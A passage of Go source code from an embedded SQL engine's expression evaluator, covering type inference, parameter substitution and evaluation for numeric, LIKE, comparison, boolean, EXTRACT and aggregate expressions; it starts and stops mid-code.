*AggColSelector) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\tif sel.aggFn == COUNT {\n\t\tif t != IntegerType {\n\t\t\treturn fmt.Errorf(\"%w: %v can not be interpreted as type %v\", ErrInvalidTypes, IntegerType, t)\n\t\t}\n\t\treturn nil\n\t}\n\n\tcolSelector := &ColSelector{table: sel.table, col: sel.col}\n\n\tif sel.aggFn == SUM || sel.aggFn == AVG {\n\t\tif t != IntegerType && t != Float64Type {\n\t\t\treturn fmt.Errorf(\"%w: %v or %v can not be interpreted as type %v\", ErrInvalidTypes, IntegerType, Float64Type, t)\n\t\t}\n\t}\n\n\treturn colSelector.requiresType(t, cols, params, implicitTable)\n}\n\nfunc (sel *AggColSelector) substitute(params map[string]interface{}) (ValueExp, error) {\n\treturn sel, nil\n}\n\nfunc (sel *AggColSelector) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) {\n\tif row == nil {\n\t\treturn nil, fmt.Errorf(\"%w: no row to evaluate aggregation (%s) in current context\", ErrInvalidValue, sel.aggFn)\n\t}\n\n\tv, ok := row.ValuesBySelector[EncodeSelector(sel.resolve(implicitTable))]\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"%w (%s)\", ErrColumnDoesNotExist, sel.col)\n\t}\n\treturn v, nil\n}\n\nfunc (sel *AggColSelector) selectors() []Selector {\n\treturn []Selector{sel}\n}\n\nfunc (sel *AggColSelector) reduceSelectors(row *Row, implicitTable string) ValueExp {\n\treturn sel\n}\n\nfunc (sel *AggColSelector) isConstant() bool {\n\treturn false\n}\n\nfunc (sel *AggColSelector) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error {\n\treturn nil\n}\n\nfunc (sel *AggColSelector) String() string {\n\treturn sel.aggFn + \"(\" + sel.col + \")\"\n}\n\ntype NumExp struct {\n\top          NumOperator\n\tleft, right ValueExp\n}\n\nfunc (bexp *NumExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\t// First step - check if we can infer the type of sub-expressions\n\ttleft, err := bexp.left.inferType(cols, params, implicitTable)\n\tif err != nil {\n\t\treturn AnyType, err\n\t}\n\tif tleft != AnyType && tleft != IntegerType && tleft != Float64Type && tleft != JSONType {\n\t\treturn AnyType, fmt.Errorf(\"%w: %v or %v can not be interpreted as type %v\", ErrInvalidTypes, IntegerType, Float64Type, tleft)\n\t}\n\n\ttright, err := bexp.right.inferType(cols, params, implicitTable)\n\tif err != nil {\n\t\treturn AnyType, err\n\t}\n\tif tright != AnyType && tright != IntegerType && tright != Float64Type && tright != JSONType {\n\t\treturn AnyType, fmt.Errorf(\"%w: %v or %v can not be interpreted as type %v\", ErrInvalidTypes, IntegerType, Float64Type, tright)\n\t}\n\n\tif tleft == IntegerType && tright == IntegerType {\n\t\t// Both sides are integer types - the result is also integer\n\t\treturn IntegerType, nil\n\t}\n\n\tif tleft != AnyType && tright != AnyType {\n\t\t// Both sides have concrete types but at least one of them is float\n\t\treturn Float64Type, nil\n\t}\n\n\t// Both sides are ambiguous\n\treturn AnyType, nil\n}\n\nfunc copyParams(params map[string]SQLValueType) map[string]SQLValueType {\n\tret := make(map[string]SQLValueType, len(params))\n\tfor k, v := range params {\n\t\tret[k] = v\n\t}\n\treturn ret\n}\n\nfunc restoreParams(params, restore map[string]SQLValueType) {\n\tfor k := range params {\n\t\tdelete(params, k)\n\t}\n\tfor k, v := range restore {\n\t\tparams[k] = v\n\t}\n}\n\nfunc (bexp *NumExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\tif t != IntegerType && t != Float64Type {\n\t\treturn fmt.Errorf(\"%w: %v can not be interpreted as type %v\", ErrInvalidTypes, IntegerType, t)\n\t}\n\n\tfloatArgs := 2\n\tparamsOrig := copyParams(params)\n\terr := bexp.left.requiresType(t, cols, params, implicitTable)\n\tif err != nil && t == Float64Type {\n\t\trestoreParams(params, paramsOrig)\n\t\tfloatArgs--\n\t\terr = bexp.left.requiresType(IntegerType, cols, params, implicitTable)\n\t}\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tparamsOrig = copyParams(params)\n\terr = bexp.right.requiresType(t, cols, params, implicitTable)\n\tif err != nil && t == Float64Type {\n\t\trestoreParams(params, paramsOrig)\n\t\tfloatArgs--\n\t\terr = bexp.right.requiresType(IntegerType, cols, params, implicitTable)\n\t}\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif t == Float64Type && floatArgs == 0 {\n\t\t// Currently this case requires explicit float cast\n\t\treturn fmt.Errorf(\"%w: %v can not be interpreted as type %v\", ErrInvalidTypes, IntegerType, t)\n\t}\n\n\treturn nil\n}\n\nfunc (bexp *NumExp) substitute(params map[string]interface{}) (ValueExp, error) {\n\trlexp, err := bexp.left.substitute(params)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trrexp, err := bexp.right.substitute(params)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tbexp.left = rlexp\n\tbexp.right = rrexp\n\n\treturn bexp, nil\n}\n\nfunc (bexp *NumExp) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) {\n\tvl, err := bexp.left.reduce(tx, row, implicitTable)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvr, err := bexp.right.reduce(tx, row, implicitTable)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvl = unwrapJSON(vl)\n\tvr = unwrapJSON(vr)\n\n\treturn applyNumOperator(bexp.op, vl, vr)\n}\n\nfunc unwrapJSON(v TypedValue) TypedValue {\n\tif jsonVal, ok := v.(*JSON); ok {\n\t\tif sv, isSimple := jsonVal.castToTypedValue(); isSimple {\n\t\t\treturn sv\n\t\t}\n\t}\n\treturn v\n}\n\nfunc (bexp *NumExp) selectors() []Selector {\n\treturn append(bexp.left.selectors(), bexp.right.selectors()...)\n}\n\nfunc (bexp *NumExp) reduceSelectors(row *Row, implicitTable string) ValueExp {\n\treturn &NumExp{\n\t\top:    bexp.op,\n\t\tleft:  bexp.left.reduceSelectors(row, implicitTable),\n\t\tright: bexp.right.reduceSelectors(row, implicitTable),\n\t}\n}\n\nfunc (bexp *NumExp) isConstant() bool {\n\treturn bexp.left.isConstant() && bexp.right.isConstant()\n}\n\nfunc (bexp *NumExp) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error {\n\treturn nil\n}\n\nfunc (bexp *NumExp) String() string {\n\treturn fmt.Sprintf(\"(%s %s %s)\", bexp.left.String(), NumOperatorString(bexp.op), bexp.right.String())\n}\n\ntype NotBoolExp struct {\n\texp ValueExp\n}\n\nfunc (bexp *NotBoolExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\terr := bexp.exp.requiresType(BooleanType, cols, params, implicitTable)\n\tif err != nil {\n\t\treturn AnyType, err\n\t}\n\n\treturn BooleanType, nil\n}\n\nfunc (bexp *NotBoolExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\tif t != BooleanType {\n\t\treturn fmt.Errorf(\"%w: %v can not be interpreted as type %v\", ErrInvalidTypes, BooleanType, t)\n\t}\n\n\treturn bexp.exp.requiresType(BooleanType, cols, params, implicitTable)\n}\n\nfunc (bexp *NotBoolExp) substitute(params map[string]interface{}) (ValueExp, error) {\n\trexp, err := bexp.exp.substitute(params)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tbexp.exp = rexp\n\n\treturn bexp, nil\n}\n\nfunc (bexp *NotBoolExp) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) {\n\tv, err := bexp.exp.reduce(tx, row, implicitTable)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tr, isBool := v.RawValue().(bool)\n\tif !isBool {\n\t\treturn nil, ErrInvalidCondition\n\t}\n\n\treturn &Bool{val: !r}, nil\n}\n\nfunc (bexp *NotBoolExp) selectors() []Selector {\n\treturn bexp.exp.selectors()\n}\n\nfunc (bexp *NotBoolExp) reduceSelectors(row *Row, implicitTable string) ValueExp {\n\treturn &NotBoolExp{\n\t\texp: bexp.exp.reduceSelectors(row, implicitTable),\n\t}\n}\n\nfunc (bexp *NotBoolExp) isConstant() bool {\n\treturn bexp.exp.isConstant()\n}\n\nfunc (bexp *NotBoolExp) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error {\n\treturn nil\n}\n\nfunc (bexp *NotBoolExp) String() string {\n\treturn fmt.Sprintf(\"(NOT %s)\", bexp.exp.String())\n}\n\ntype LikeBoolExp struct {\n\tval     ValueExp\n\tnotLike bool\n\tpattern ValueExp\n}\n\nfunc NewLikeBoolExp(val ValueExp, notLike bool, pattern ValueExp) *LikeBoolExp {\n\treturn &LikeBoolExp{\n\t\tval:     val,\n\t\tnotLike: notLike,\n\t\tpattern: pattern,\n\t}\n}\n\nfunc (bexp *LikeBoolExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\tif bexp.val == nil || bexp.pattern == nil {\n\t\treturn AnyType, fmt.Errorf(\"error in 'LIKE' clause: %w\", ErrInvalidCondition)\n\t}\n\n\terr := bexp.pattern.requiresType(VarcharType, cols, params, implicitTable)\n\tif err != nil {\n\t\treturn AnyType, fmt.Errorf(\"error in 'LIKE' clause: %w\", err)\n\t}\n\n\treturn BooleanType, nil\n}\n\nfunc (bexp *LikeBoolExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\tif bexp.val == nil || bexp.pattern == nil {\n\t\treturn fmt.Errorf(\"error in 'LIKE' clause: %w\", ErrInvalidCondition)\n\t}\n\n\tif t != BooleanType {\n\t\treturn fmt.Errorf(\"error using the value of the LIKE operator as %s: %w\", t, ErrInvalidTypes)\n\t}\n\n\terr := bexp.pattern.requiresType(VarcharType, cols, params, implicitTable)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error in 'LIKE' clause: %w\", err)\n\t}\n\n\treturn nil\n}\n\nfunc (bexp *LikeBoolExp) substitute(params map[string]interface{}) (ValueExp, error) {\n\tif bexp.val == nil || bexp.pattern == nil {\n\t\treturn nil, fmt.Errorf(\"error in 'LIKE' clause: %w\", ErrInvalidCondition)\n\t}\n\n\tval, err := bexp.val.substitute(params)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error in 'LIKE' clause: %w\", err)\n\t}\n\n\tpattern, err := bexp.pattern.substitute(params)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error in 'LIKE' clause: %w\", err)\n\t}\n\n\treturn &LikeBoolExp{\n\t\tval:     val,\n\t\tnotLike: bexp.notLike,\n\t\tpattern: pattern,\n\t}, nil\n}\n\nfunc (bexp *LikeBoolExp) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) {\n\tif bexp.val == nil || bexp.pattern == nil {\n\t\treturn nil, fmt.Errorf(\"error in 'LIKE' clause: %w\", ErrInvalidCondition)\n\t}\n\n\trval, err := bexp.val.reduce(tx, row, implicitTable)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error in 'LIKE' clause: %w\", err)\n\t}\n\n\tif rval.IsNull() {\n\t\treturn &Bool{val: bexp.notLike}, nil\n\t}\n\n\trvalStr, ok := rval.RawValue().(string)\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"error in 'LIKE' clause: %w (expecting %s)\", ErrInvalidTypes, VarcharType)\n\t}\n\n\trpattern, err := bexp.pattern.reduce(tx, row, implicitTable)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error in 'LIKE' clause: %w\", err)\n\t}\n\n\tif rpattern.Type() != VarcharType {\n\t\treturn nil, fmt.Errorf(\"error evaluating 'LIKE' clause: %w\", ErrInvalidTypes)\n\t}\n\n\tmatched, err := regexp.MatchString(rpattern.RawValue().(string), rvalStr)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error in 'LIKE' clause: %w\", err)\n\t}\n\n\treturn &Bool{val: matched != bexp.notLike}, nil\n}\n\nfunc (bexp *LikeBoolExp) selectors() []Selector {\n\treturn bexp.val.selectors()\n}\n\nfunc (bexp *LikeBoolExp) reduceSelectors(row *Row, implicitTable string) ValueExp {\n\treturn bexp\n}\n\nfunc (bexp *LikeBoolExp) isConstant() bool {\n\treturn false\n}\n\nfunc (bexp *LikeBoolExp) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error {\n\treturn nil\n}\n\nfunc (bexp *LikeBoolExp) String() string {\n\tfmtStr := \"(%s LIKE %s)\"\n\tif bexp.notLike {\n\t\tfmtStr = \"(%s NOT LIKE %s)\"\n\t}\n\treturn fmt.Sprintf(fmtStr, bexp.val.String(), bexp.pattern.String())\n}\n\ntype CmpBoolExp struct {\n\top          CmpOperator\n\tleft, right ValueExp\n}\n\nfunc NewCmpBoolExp(op CmpOperator, left, right ValueExp) *CmpBoolExp {\n\treturn &CmpBoolExp{\n\t\top:    op,\n\t\tleft:  left,\n\t\tright: right,\n\t}\n}\n\nfunc (bexp *CmpBoolExp) Left() ValueExp {\n\treturn bexp.left\n}\n\nfunc (bexp *CmpBoolExp) Right() ValueExp {\n\treturn bexp.right\n}\n\nfunc (bexp *CmpBoolExp) OP() CmpOperator {\n\treturn bexp.op\n}\n\nfunc (bexp *CmpBoolExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\ttleft, err := bexp.left.inferType(cols, params, implicitTable)\n\tif err != nil {\n\t\treturn AnyType, err\n\t}\n\n\ttright, err := bexp.right.inferType(cols, params, implicitTable)\n\tif err != nil {\n\t\treturn AnyType, err\n\t}\n\n\t// unification step\n\n\tif tleft == tright {\n\t\treturn BooleanType, nil\n\t}\n\n\t_, ok := coerceTypes(tleft, tright)\n\tif !ok {\n\t\treturn AnyType, fmt.Errorf(\"%w: %v can not be interpreted as type %v\", ErrInvalidTypes, tleft, tright)\n\t}\n\n\tif tleft == AnyType {\n\t\terr = bexp.left.requiresType(tright, cols, params, implicitTable)\n\t\tif err != nil {\n\t\t\treturn AnyType, err\n\t\t}\n\t}\n\n\tif tright == AnyType {\n\t\terr = bexp.right.requiresType(tleft, cols, params, implicitTable)\n\t\tif err != nil {\n\t\t\treturn AnyType, err\n\t\t}\n\t}\n\treturn BooleanType, nil\n}\n\nfunc coerceTypes(t1, t2 SQLValueType) (SQLValueType, bool) {\n\tswitch {\n\tcase t1 == t2:\n\t\treturn t1, true\n\tcase t1 == AnyType:\n\t\treturn t2, true\n\tcase t2 == AnyType:\n\t\treturn t1, true\n\tcase (t1 == IntegerType && t2 == Float64Type) ||\n\t\t(t1 == Float64Type && t2 == IntegerType):\n\t\treturn Float64Type, true\n\t}\n\treturn \"\", false\n}\n\nfunc (bexp *CmpBoolExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\tif t != BooleanType {\n\t\treturn fmt.Errorf(\"%w: %v can not be interpreted as type %v\", ErrInvalidTypes, BooleanType, t)\n\t}\n\n\t_, err := bexp.inferType(cols, params, implicitTable)\n\treturn err\n}\n\nfunc (bexp *CmpBoolExp) substitute(params map[string]interface{}) (ValueExp, error) {\n\trlexp, err := bexp.left.substitute(params)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trrexp, err := bexp.right.substitute(params)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tbexp.left = rlexp\n\tbexp.right = rrexp\n\n\treturn bexp, nil\n}\n\nfunc (bexp *CmpBoolExp) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) {\n\tvl, err := bexp.left.reduce(tx, row, implicitTable)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvr, err := bexp.right.reduce(tx, row, implicitTable)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tr, err := vl.Compare(vr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &Bool{val: cmpSatisfiesOp(r, bexp.op)}, nil\n}\n\nfunc (bexp *CmpBoolExp) selectors() []Selector {\n\treturn append(bexp.left.selectors(), bexp.right.selectors()...)\n}\n\nfunc (bexp *CmpBoolExp) reduceSelectors(row *Row, implicitTable string) ValueExp {\n\treturn &CmpBoolExp{\n\t\top:    bexp.op,\n\t\tleft:  bexp.left.reduceSelectors(row, implicitTable),\n\t\tright: bexp.right.reduceSelectors(row, implicitTable),\n\t}\n}\n\nfunc (bexp *CmpBoolExp) isConstant() bool {\n\treturn bexp.left.isConstant() && bexp.right.isConstant()\n}\n\nfunc (bexp *CmpBoolExp) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error {\n\tmatchingFunc := func(_, right ValueExp) (*ColSelector, ValueExp, bool) {\n\t\ts, isSel := bexp.left.(*ColSelector)\n\t\tif isSel && s.col != revCol && bexp.right.isConstant() {\n\t\t\treturn s, right, true\n\t\t}\n\t\treturn nil, nil, false\n\t}\n\n\tsel, c, ok := matchingFunc(bexp.left, bexp.right)\n\tif !ok {\n\t\tsel, c, ok = matchingFunc(bexp.right, bexp.left)\n\t}\n\n\tif !ok {\n\t\treturn nil\n\t}\n\n\taggFn, t, col := sel.resolve(table.name)\n\tif aggFn != \"\" || t != asTable {\n\t\treturn nil\n\t}\n\n\tcolumn, err := table.GetColumnByName(col)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tval, err := c.substitute(params)\n\tif errors.Is(err, ErrMissingParameter) {\n\t\t// TODO: not supported when parameters are not provided during query resolution\n\t\treturn nil\n\t}\n\tif err != nil {\n\t\treturn err\n\t}\n\n\trval, err := val.reduce(nil, nil, table.name)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn updateRangeFor(column.id, rval, bexp.op, rangesByColID)\n}\n\nfunc (bexp *CmpBoolExp) String() string {\n\topStr := CmpOperatorToString(bexp.op)\n\treturn fmt.Sprintf(\"(%s %s %s)\", bexp.left.String(), opStr, bexp.right.String())\n}\n\ntype TimestampFieldType string\n\nconst (\n\tTimestampFieldTypeYear   TimestampFieldType = \"YEAR\"\n\tTimestampFieldTypeMonth  TimestampFieldType = \"MONTH\"\n\tTimestampFieldTypeDay    TimestampFieldType = \"DAY\"\n\tTimestampFieldTypeHour   TimestampFieldType = \"HOUR\"\n\tTimestampFieldTypeMinute TimestampFieldType = \"MINUTE\"\n\tTimestampFieldTypeSecond TimestampFieldType = \"SECOND\"\n)\n\ntype ExtractFromTimestampExp struct {\n\tField TimestampFieldType\n\tExp   ValueExp\n}\n\nfunc (te *ExtractFromTimestampExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\tinferredType, err := te.Exp.inferType(cols, params, implicitTable)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tif inferredType != TimestampType &&\n\t\tinferredType != VarcharType &&\n\t\tinferredType != AnyType {\n\t\treturn \"\", fmt.Errorf(\"timestamp expression must be of type %v or %v, but was: %v\", TimestampType, VarcharType, inferredType)\n\t}\n\treturn IntegerType, nil\n}\n\nfunc (te *ExtractFromTimestampExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\tif t != IntegerType && t != Float64Type {\n\t\treturn fmt.Errorf(\"%w: %v can not be interpreted as type %v\", ErrInvalidTypes, BooleanType, t)\n\t}\n\treturn te.Exp.requiresType(TimestampType, cols, params, implicitTable)\n}\n\nfunc (te *ExtractFromTimestampExp) substitute(params map[string]interface{}) (ValueExp, error) {\n\texp, err := te.Exp.substitute(params)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &ExtractFromTimestampExp{\n\t\tField: te.Field,\n\t\tExp:   exp,\n\t}, nil\n}\n\nfunc (te *ExtractFromTimestampExp) selectors() []Selector {\n\treturn te.Exp.selectors()\n}\n\nfunc (te *ExtractFromTimestampExp) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) {\n\tv, err := te.Exp.reduce(tx, row, implicitTable)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif v.IsNull() {\n\t\treturn NewNull(IntegerType), nil\n\t}\n\n\tif t := v.Type(); t != TimestampType && t != VarcharType {\n\t\treturn nil, fmt.Errorf(\"%w: expected type %v but found type %v\", ErrInvalidTypes, TimestampType, t)\n\t}\n\n\tif v.Type() == VarcharType {\n\t\tconverterFunc, err := getConverter(VarcharType, TimestampType)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tcasted, err := converterFunc(v)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tv = casted\n\t}\n\n\tt, _ := v.RawValue().(time.Time)\n\n\tyear, month, day := t.Date()\n\n\tswitch te.Field {\n\tcase TimestampFieldTypeYear:\n\t\treturn NewInteger(int64(year)), nil\n\tcase TimestampFieldTypeMonth:\n\t\treturn NewInteger(int64(month)), nil\n\tcase TimestampFieldTypeDay:\n\t\treturn NewInteger(int64(day)), nil\n\tcase TimestampFieldTypeHour:\n\t\treturn NewInteger(int64(t.Hour())), nil\n\tcase TimestampFieldTypeMinute:\n\t\treturn NewInteger(int64(t.Minute())), nil\n\tcase TimestampFieldTypeSecond:\n\t\treturn NewInteger(int64(t.Second())), nil\n\t}\n\treturn nil, fmt.Errorf(\"unknown timestamp field type: %s\", te.Field)\n}\n\nfunc (te *ExtractFromTimestampExp) reduceSelectors(row *Row, implicitTable string) ValueExp {\n\treturn &ExtractFromTimestampExp{\n\t\tField: te.Field,\n\t\tExp:   te.Exp.reduceSelectors(row, implicitTable),\n\t}\n}\n\nfunc (te *ExtractFromTimestampExp) isConstant() bool {\n\treturn false\n}\n\nfunc (te *ExtractFromTimestampExp) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error {\n\treturn nil\n}\n\nfunc (te *ExtractFromTimestampExp) String() string {\n\treturn fmt.Sprintf(\"EXTRACT(%s FROM %s)\", te.Field, te.Exp)\n}\n\nfunc updateRangeFor(colID uint32, val TypedValue, cmp CmpOperator, rangesByColID map[uint32]*typedValueRange) error {\n\tcurrRange, ranged := rangesByColID[colID]\n\tvar newRange *typedValueRange\n\n\tswitch cmp {\n\tcase EQ:\n\t\t{\n\t\t\tnewRange = &typedValueRange{\n\t\t\t\tlRange: &typedValueSemiRange{\n\t\t\t\t\tval:       val,\n\t\t\t\t\tinclusive: true,\n\t\t\t\t},\n\t\t\t\thRange: &typedValueSemiRange{\n\t\t\t\t\tval:       val,\n\t\t\t\t\tinclusive: true,\n\t\t\t\t},\n\t\t\t}\n\t\t}\n\tcase LT:\n\t\t{\n\t\t\tnewRange = &typedValueRange{\n\t\t\t\thRange: &typedValueSemiRange{\n\t\t\t\t\tval: val,\n\t\t\t\t},\n\t\t\t}\n\t\t}\n\tcase LE:\n\t\t{\n\t\t\tnewRange = &typedValueRange{\n\t\t\t\thRange: &typedValueSemiRange{\n\t\t\t\t\tval:       val,\n\t\t\t\t\tinclusive: true,\n\t\t\t\t},\n\t\t\t}\n\t\t}\n\tcase GT:\n\t\t{\n\t\t\tnewRange = &typedValueRange{\n\t\t\t\tlRange: &typedValueSemiRange{\n\t\t\t\t\tval: val,\n\t\t\t\t},\n\t\t\t}\n\t\t}\n\tcase GE:\n\t\t{\n\t\t\tnewRange = &typedValueRange{\n\t\t\t\tlRange: &typedValueSemiRange{\n\t\t\t\t\tval:       val,\n\t\t\t\t\tinclusive: true,\n\t\t\t\t},\n\t\t\t}\n\t\t}\n\tcase NE:\n\t\t{\n\t\t\treturn nil\n\t\t}\n\t}\n\n\tif !ranged {\n\t\trangesByColID[colID] = newRange\n\t\treturn nil\n\t}\n\n\treturn currRange.refineWith(newRange)\n}\n\nfunc cmpSatisfiesOp(cmp int, op CmpOperator) bool {\n\tswitch {\n\tcase cmp == 0:\n\t\t{\n\t\t\treturn op == EQ || op == LE || op == GE\n\t\t}\n\tcase cmp < 0:\n\t\t{\n\t\t\treturn op == NE || op == LT || op == LE\n\t\t}\n\tcase cmp > 0:\n\t\t{\n\t\t\treturn op == NE || op == GT || op == GE\n\t\t}\n\t}\n\treturn false\n}\n\ntype BinBoolExp struct {\n\top          LogicOperator\n\tleft, right ValueExp\n}\n\nfunc NewBinBoolExp(op LogicOperator, lrexp, rrexp ValueExp) *BinBoolExp {\n\tbexp := &BinBoolExp{\n\t\top: op,\n\t}\n\n\tbexp.left = lrexp\n\tbexp.right = rrexp\n\n\treturn bexp\n}\n\nfunc (bexp *BinBoolExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\terr := bexp.left.requiresType(BooleanType, cols, params, implicitTable)\n\tif err != nil {\n\t\treturn AnyType, err\n\t}\n\n\terr = bexp.right.requiresType(BooleanType, cols, params, implicitTable)\n\tif err != nil {\n\t\treturn AnyType, err\n\t}\n\n\treturn BooleanType, nil\n}\n\nfunc (bexp *BinBoolExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\tif t != BooleanType {\n\t\treturn fmt.Errorf(\"%w: %v can not be interpreted as type %v\", ErrInvalidTypes, BooleanType, t)\n\t}\n\n\terr := bexp.left.requiresType(BooleanType, cols, params, implicitTable)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = bexp.right.requiresType(BooleanType, cols, params, implicitTable)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\nfunc (bexp *BinBoolExp) substitute(params map[string]interface{}) (ValueExp, error) {\n\trlexp, err := bexp.left.substitute(params)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trrexp, err := bexp.right.substitute(params)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tbexp.left = rlexp\n\tbexp.right = rrexp\n\n\treturn bexp, nil\n}\n\nfunc (bexp *BinBoolExp) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) {\n\tvl, err := bexp.left.reduce(tx, row, implicitTable)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tbl, isBool := vl.(*Bool)\n\tif !isBool {\n\t\treturn nil, fmt.Errorf(\"%w (expecting boolean value)\", ErrInvalidValue)\n\t}\n\n\t// short-circuit evaluation\n\tif (bl.val && bexp.op == Or) || (!bl.val && bexp.op == And) {\n\t\treturn &Bool{val: bl.val}, nil\n\t}\n\n\tvr, err := bexp.right.reduce(tx, row, implicitTable)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tbr, isBool := vr.(*Bool)\n\tif !isBool {\n\t\treturn nil, fmt.Errorf(\"%w (expecting boolean value)\", ErrInvalidValue)\n\t}\n\n\tswitch bexp.op {\n\tcase And:\n\t\t{\n\t\t\treturn &Bool{val: bl.val && br.val}, nil\n\t\t}\n\tcase Or:\n\t\t{\n\t\t\treturn &Bool{val: bl.val || br.val}, nil\n\t\t}\n\t}\n\n\treturn nil, ErrUnexpected\n}\n\nfunc (bexp *BinBoolExp) selectors() []Selector {\n\treturn append(bexp.left.selectors(), bexp.right.selectors()...)\n}\n\nfunc (bexp *BinBoolExp) reduceSelectors(row *Row, implicitTable string) ValueExp {\n\treturn &BinBoolExp{\n\t\top:    bexp.op,\n\t\tleft:  bexp.left.reduceSelectors(row, implicitTable),\n\t\tright: bexp.right.reduceSelectors(row, implicitTable),\n\t}\n}\n\nfunc (bexp *BinBoolExp) isConstant() bool {\n\treturn bexp.left.isConstant() && bexp.right.isConstant()\n}\n\nfunc (bexp *BinBoolExp) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error {\n\tif bexp.op == And {\n\t\terr := bexp.left.selectorRanges(table, asTable, params, rangesByColID)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\treturn bexp.right.selectorRanges(table, asTable, params, rangesByColID)\n\t}\n\n\tlRanges := make(map[uint32]*typedValueRange)\n\trRanges := make(map[uint32]*typedValueRange)\n\n\terr := bexp.left.selectorRanges(table, asTable, params, lRanges)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = bexp.right.selectorRanges(table, asTable, params, rRanges)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor colID, lr := range lRanges {\n\t\trr, ok := rRanges[colID]\n\t\tif !ok {\n\t\t\tcontinue\n\t\t}\n\n\t\terr = lr.extendWith(rr)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\trangesByColID[colID] = lr\n\t}\n\n\treturn nil\n}\n\nfunc (bexp *BinBoolExp) String() string {\n\treturn fmt.Sprintf(\"(%s %s %s)\", bexp.left.String(), LogicOperatorToString(bexp.op), bexp.right.String())\n}\n\ntype ExistsBoolExp struct {\n\tq DataSource\n}\n\nfunc (bexp *ExistsBoolExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\treturn AnyType, fmt.Errorf(\"error inferring type in 'EXISTS' clause: %w\", ErrNoSupported)\n}\n\nfunc (bexp *ExistsBoolExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\treturn fmt.Errorf(\"error inferring type in 'EXISTS' clause: %w\", ErrNoSupported)\n}\n\nfunc (bexp *ExistsBoolExp) substitute(params map[string]interface{}) (ValueExp, error) {\n\treturn bexp, nil\n}\n\nfunc (bexp *ExistsBoolExp) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) {\n\treturn nil, fmt.Errorf(\"'EXISTS' 